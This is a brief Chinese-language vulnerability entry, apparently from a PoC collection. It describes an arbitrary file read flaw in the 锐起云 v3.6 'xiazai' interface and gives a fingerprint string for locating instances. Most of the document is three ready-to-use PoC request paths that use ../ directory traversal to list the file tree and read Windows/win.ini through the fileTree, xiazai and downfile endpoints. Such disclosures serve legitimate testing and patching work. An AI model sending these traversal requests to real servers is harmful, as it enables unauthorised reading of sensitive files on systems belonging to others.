锐起云 xiazai 任意文件读取漏洞
漏洞描述
锐起云 xiazai 接口存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感文件。
漏洞影响
锐起云 v3.6
网络测绘
"锐起云"漏洞复现
登陆页面
验证POC
/dwr/hret/fileTree?filePath=../
/dwr/srecy/xiazai?filePath=../../../../../../../../../../../Windows/win.ini
/dwr/hret/downfile?fpid=../../../../../../../../../Windows/win.ini 